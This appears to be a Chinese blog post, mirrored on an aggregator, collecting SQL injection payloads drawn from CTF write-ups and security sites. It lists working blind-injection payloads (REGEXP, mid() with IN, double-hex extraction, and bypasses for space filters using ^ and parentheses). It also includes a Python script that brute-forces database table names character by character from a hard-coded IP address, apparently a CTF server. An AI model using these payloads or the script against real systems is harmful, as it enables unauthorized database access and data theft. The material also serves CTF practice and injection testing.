zoukankan      html  css  js  c++  java
  • SQL注入 payload 记录

    使用 REGEXP盲注

    payload

    select user() from users where user_id=1 and (select(user)from users where user_id=1) REGEXP "^adm.*";
    

    来源

    https://www.secpulse.com/archives/68991.html
    

    使用 (子查询) in ("x") 盲注

    Payload

    通过 mid 取字符, 然后 in 来判断

    select user() from users where user_id=1 and (select(mid(user,1,1))from users where user_id=1) in ("a");
    

    来源

    https://xz.aliyun.com/t/2619#toc-5
    

    注入发生在 select 和 from 中间

    两次 hex , 取数据

    select '0'+(select hex(hex(database())))+'0' from users;
    

    一定要 两次 hex

    substr 使用 from for 语法 ,取长数据

    select '0'+(substr((select hex(hex(database()))) FROM 1 for 6))+'0' from users;
    

    来源

    https://xz.aliyun.com/t/2619#toc-3
    

    过滤空格布尔盲注

    ^ 代替 = && () 代替空格

    SELECT student_number FROM student WHERE id='1'^(ascii(mid((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),1,1))=1)='1';
    

    整数和字符比较,会进行转换

    使用 异或 ^ 代替 =

    import requests
    
    flag = ""
    for i in range(1,300):
        for j in range(33,127):
            # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"
            # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
            # url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
            url = "http://119.23.73.3:5004/?id=1'^(ascii(mid((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),{},1))={})='1".format(i,j)
    
    
            # print url
            r=requests.get(url=url)
            if "Hello" not in r.content:
                flag +=chr(j)
                print flag
                break
    

    来源

    http://skysec.top/2018/01/31/moctf-Web%E9%A2%98%E8%A7%A3/#%E7%AE%80%E5%8D%95%E6%B3%A8%E5%85%A5
    
    
  • 相关阅读:
    <转>WCF中出现死锁或者超时
    无连接服务器与面向连接的服务器
    Linux系统调用
    vim文本删除方法 Linux
    深入了解C指针
    linux下c语言实现双进程运行
    *p++、(*p)++、*++p、++*p 的区别
    快速了解yuv4:4:4 yuv4:2:2 yuv 4:1:1 yuv 4:2:0四种YUV格式区别
    文件通过svn updata更新不到,并且svn st显示被删除的解决办法
    [非常重要的总结] Linux C相关函数
  • 原文地址:https://www.cnblogs.com/hac425/p/9514887.html
Copyright © 2011-2022 走看看